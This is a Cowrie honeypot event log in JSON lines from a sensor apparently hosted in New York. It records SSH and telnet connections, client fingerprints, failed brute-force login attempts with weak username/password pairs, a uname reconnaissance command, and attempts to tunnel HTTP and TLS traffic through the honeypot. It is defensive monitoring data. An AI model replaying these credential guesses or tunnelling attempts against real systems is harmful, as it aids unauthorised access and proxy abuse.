{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.715441Z","src_ip":"45.153.34.195","session":"7ff8512aafd6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.718481Z","src_ip":"45.153.34.195","session":"7ff8512aafd6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.803374Z","src_ip":"45.153.34.195","session":"7ff8512aafd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.808306Z","src_ip":"45.153.34.195","session":"7ff8512aafd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49470,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c676ce0bf2","protocol":"telnet","message":"New connection: 94.23.66.112:49470 (10.17.0.5:23) [session: 33c676ce0bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:51.671777Z"}
{"eventid":"cowrie.session.closed","duration":0.0057277679443359375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:51.677359Z","src_ip":"94.23.66.112","session":"33c676ce0bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:52.592739Z","src_ip":"91.92.40.36","session":"748e2125ac18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":45000,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ff1d6a2d3ba","protocol":"ssh","message":"New connection: 73.36.177.174:45000 (10.17.0.5:22) [session: 3ff1d6a2d3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:52.901595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:52.910283Z","src_ip":"73.36.177.174","session":"3ff1d6a2d3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:52.946346Z","src_ip":"73.36.177.174","session":"3ff1d6a2d3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36736,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6a7e4d2a68","protocol":"ssh","message":"New connection: 45.153.34.195:36736 (10.17.0.5:22) [session: cc6a7e4d2a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:52.952259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:53.008707Z","src_ip":"45.153.34.195","session":"cc6a7e4d2a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:53.107427Z","src_ip":"45.153.34.195","session":"cc6a7e4d2a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd","message":"login attempt [root/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:53.159012Z","src_ip":"73.36.177.174","session":"3ff1d6a2d3ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany123","message":"login attempt [dany/dany123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:53.603199Z","src_ip":"45.153.34.195","session":"cc6a7e4d2a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:54.205022Z","src_ip":"73.36.177.174","session":"3ff1d6a2d3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:54.685390Z","src_ip":"45.153.34.195","session":"cc6a7e4d2a68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:55.427681Z","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:55.472608Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.3 EdgiOS/91.0.864.48 Mobile/17B111 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q2sjQVVMUF5aaDI5JSVQfQ%3D%3DyueHvB8mhFYWncs%2BwaFReVMmW8u9gu6b71M1Hl18zYs8HKH%2FZijQwOyfD2WA%2B27vx5hquEbBSw1blP%2F8B%2FLGwRSIrcvTpy6QUHGGZW53g9PaD7DBpHSP%2B89Rs8oFkRm0AydpWP76%2F0lLcttVZbTjtAR7kTYCn7FfNhog4sHR4jRiMUKgZphcT4V5iJAvqIAu0oOGrLuJXZrzOJha4FqTzmjO0SzcuaAo04UL2Wz3Svs1CQa2MlTPunpCNbPzaiS3OKebTN0fkWMorvAu6v5o1AVhqLRVNTO%2F%2FROYcL0x41NbML%2BnzlGn1ztzaMJaK8RC%2BKqLO%2F%2BuCpRBvDwAvQd9xkYh1hHUWuyGatwqWWkONKUdfzNT%2BAwJN8383%2FjgeGDcWoBX0yXTwsuDTt4CQrI6m8DAuZcNMh60aVWWHWLYcZ0QQcTojIlmgkMXi69OzGXwqcFn8vbvovtQEA3cN9lxDvcPvKkBNoYXiue1E40NNOcyQ%2F6lILwImxSiksqvaQZrL8aRBMvGHOQoTel9g3AgxTeWzR4B0adhLjv%2B7q7yg%2BhtUBjIFXP3NbXgWyjn4etEuCXAATuvgJAOV%2Fd%2BVZsJ1UrWkzyydrSYOMwUbHXkweMdaruJLMKPxVRKt%2Fi02AjWNtK%2FHB6wy1%2F1L5mNpdBaKCCBwZkFq0hA%2BKrnqutfvKnU89ojOgwfUEjqeu7290kGaOtbIZTZuQjbx6evhikN9MnOFhIr%2FwvT5GV8Gv4wIOr2BRRIdFDZAwqT0nhiCkaMihdBgDcau4SYPe0DEGop0Qnq4IJHffMpHLQDrM5UIEbWw%2BaPZSayVW7lLRMX14rML0LEDvLej0HfHcDifs5OAUmW1xgq%2B%2Bsp5ojNi5aHMx7SYYDUL4OD2bIMwySk%2FZIjTZczm%2FfXCAAdNW8jD0E%2FqoKZKqQhmyiGogcF3XgWIXdt2m6M%2BFwVvFuoD3%2Fx%2BrK%2B9bO16K1c4xmfBdfqN%2F%2FE%2FfaMyJlM5JL3N1puMvbBT2dbF0SAKpMsbGqCsSZB2ml5bi49oXWT8wm8%2FPBNlH%2FbpjY%2FdHS%2BYnpNZmW6s9t7Y7E%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.3 EdgiOS/91.0.864.48 Mobile/17B111 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Q2sjQVVMUF5aaDI5JSVQfQ%3D%3DyueHvB8mhFYWncs%2BwaFReVMmW8u9gu6b71M1Hl18zYs8HKH%2FZijQwOyfD2WA%2B27vx5hquEbBSw1blP%2F8B%2FLGwRSIrcvTpy6QUHGGZW53g9PaD7DBpHSP%2B89Rs8oFkRm0AydpWP76%2F0lLcttVZbTjtAR7kTYCn7FfNhog4sHR4jRiMUKgZphcT4V5iJAvqIAu0oOGrLuJXZrzOJha4FqTzmjO0SzcuaAo04UL2Wz3Svs1CQa2MlTPunpCNbPzaiS3OKebTN0fkWMorvAu6v5o1AVhqLRVNTO%2F%2FROYcL0x41NbML%2BnzlGn1ztzaMJaK8RC%2BKqLO%2F%2BuCpRBvDwAvQd9xkYh1hHUWuyGatwqWWkONKUdfzNT%2BAwJN8383%2FjgeGDcWoBX0yXTwsuDTt4CQrI6m8DAuZcNMh60aVWWHWLYcZ0QQcTojIlmgkMXi69OzGXwqcFn8vbvovtQEA3cN9lxDvcPvKkBNoYXiue1E40NNOcyQ%2F6lILwImxSiksqvaQZrL8aRBMvGHOQoTel9g3AgxTeWzR4B0adhLjv%2B7q7yg%2BhtUBjIFXP3NbXgWyjn4etEuCXAATuvgJAOV%2Fd%2BVZsJ1UrWkzyydrSYOMwUbHXkweMdaruJLMKPxVRKt%2Fi02AjWNtK%2FHB6wy1%2F1L5mNpdBaKCCBwZkFq0hA%2BKrnqutfvKnU89ojOgwfUEjqeu7290kGaOtbIZTZuQjbx6evhikN9MnOFhIr%2FwvT5GV8Gv4wIOr2BRRIdFDZAwqT0nhiCkaMihdBgDcau4SYPe0DEGop0Qnq4IJHffMpHLQDrM5UIEbWw%2BaPZSayVW7lLRMX14rML0LEDvLej0HfHcDifs5OAUmW1xgq%2B%2Bsp5ojNi5aHMx7SYYDUL4OD2bIMwySk%2FZIjTZczm%2FfXCAAdNW8jD0E%2FqoKZKqQhmyiGogcF3XgWIXdt2m6M%2BFwVvFuoD3%2Fx%2BrK%2B9bO16K1c4xmfBdfqN%2F%2FE%2FfaMyJlM5JL3N1puMvbBT2dbF0SAKpMsbGqCsSZB2ml5bi49oXWT8wm8%2FPBNlH%2FbpjY%2FdHS%2BYnpNZmW6s9t7Y7E%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:55.475817Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36744,"dst_ip":"10.17.0.5","dst_port":22,"session":"935b4abe03fa","protocol":"ssh","message":"New connection: 45.153.34.195:36744 (10.17.0.5:22) [session: 935b4abe03fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:55.892226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.148652Z","src_ip":"45.153.34.195","session":"935b4abe03fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.235391Z","src_ip":"45.153.34.195","session":"935b4abe03fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc","message":"login attempt [abc/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.585567Z","src_ip":"91.92.40.36","session":"33b7aed053e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.686412Z","src_ip":"45.153.34.195","session":"935b4abe03fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.701410Z","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.740200Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x18\\x1e\\xd9\\xe4\\xc9z\\xde\\xd0\\x9cJ\\x91\\x0c\\x886\\x08\\x11\\x87\\x12\\xe0\\xd83\\x95Y\\x07\\xff8\"\\xd8\\xd7\\xd6.j \\x8e\\xc0#:\\xcf\\xa2\\x88\\x01 \\xb5\\xe9\\xa4\\xcbP[_=\\xe1\\xc5\\xf2\\xa18;93\\xb1H;\\x1a\\\\\\xc3\\xb8\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdcn\\xf2\\xe1\\xca\\xdbv\\xf9Az$}\\xd69\\x1c\\xd6\\x9c\\xa3\\'\\xe4\\xfbL\\xfd\\x92\\xcba\\xf0\\xcf7\\xc1/#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x18\\x1e\\xd9\\xe4\\xc9z\\xde\\xd0\\x9cJ\\x91\\x0c\\x886\\x08\\x11\\x87\\x12\\xe0\\xd83\\x95Y\\x07\\xff8\"\\xd8\\xd7\\xd6.j \\x8e\\xc0#:\\xcf\\xa2\\x88\\x01 \\xb5\\xe9\\xa4\\xcbP[_=\\xe1\\xc5\\xf2\\xa18;93\\xb1H;\\x1a\\\\\\xc3\\xb8\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdcn\\xf2\\xe1\\xca\\xdbv\\xf9Az$}\\xd69\\x1c\\xd6\\x9c\\xa3\\'\\xe4\\xfbL\\xfd\\x92\\xcba\\xf0\\xcf7\\xc1/#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.744259Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.788934Z","session":"776f4f89bae3","protocol":"ssh"}
